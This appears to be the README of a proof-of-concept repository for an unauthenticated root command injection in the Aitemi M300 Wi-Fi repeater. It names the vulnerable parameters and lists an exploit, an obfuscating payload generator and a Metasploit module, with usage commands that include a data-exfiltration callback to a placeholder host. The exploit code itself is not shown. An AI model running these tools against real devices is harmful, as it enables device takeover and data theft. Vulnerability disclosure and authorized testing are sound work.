PoC tools for CVE-2026-58457: Unauthenticated OS Command Injection leading to remote root on Shenzhen Aitemi M300 Wi-Fi Repeater (MT02). Includes exploit, validator, payload generator, and Metasploit module. For educational and authorized pentesting only.
[!WARNING] 此代码按“原样”提供,仅用于教育和研究目的。 请勿在生产系统、共享环境或任何未授权目标上使用此 PoC。
- 运行或托管此代码可能触发杀毒软件检测、安全监控警报,若被滥用还可能引发法律后果。
- 作者和仓库维护者对此代码造成的任何损害、滥用或非法活动不承担任何责任。
- 仅在获得适当授权的隔离实验室环境中使用。 仅供防御性研究、漏洞分析和蓝队测试使用。
smacfilter_conf 处理程序中存在一个未认证的操作系统命令注入漏洞。name、enable 和 mac GET 参数未经净化即被传入 sprintf() 调用,该调用会构造以 root 身份执行的 UCI 命令。
poc.py - 功能完整的漏洞利用程序,支持 HTTPS、重试、超时和回调数据外传。val.py - 安全、被动式漏洞验证器(使用无害的 id 命令)。gen.py - 采用多种混淆技术的高级载荷生成器。MITIGATIONS.md - 推荐的防御措施。exploit/ 目录中。pip install requests
python3 val.py --target 192.168.1.100
python3 poc.py --target 192.168.1.100 --cmd "id"
python3 poc.py --target 192.168.1.100 --cmd "id" --callback http://your-ip:8080/
python3 gen.py -c "id" -n 10
cp ./aitemi_m300_smacfilter_rce.rb ~/.msf4/modules/exploits/linux/http/
# or the main MSF path: /usr/share/metasploit-framework/modules/exploits/linux/http/
msfconsole -q -x "reload_all"
欢迎 Star 和贡献 - 尤其欢迎绕过技术的改进或更多固件变体的支持。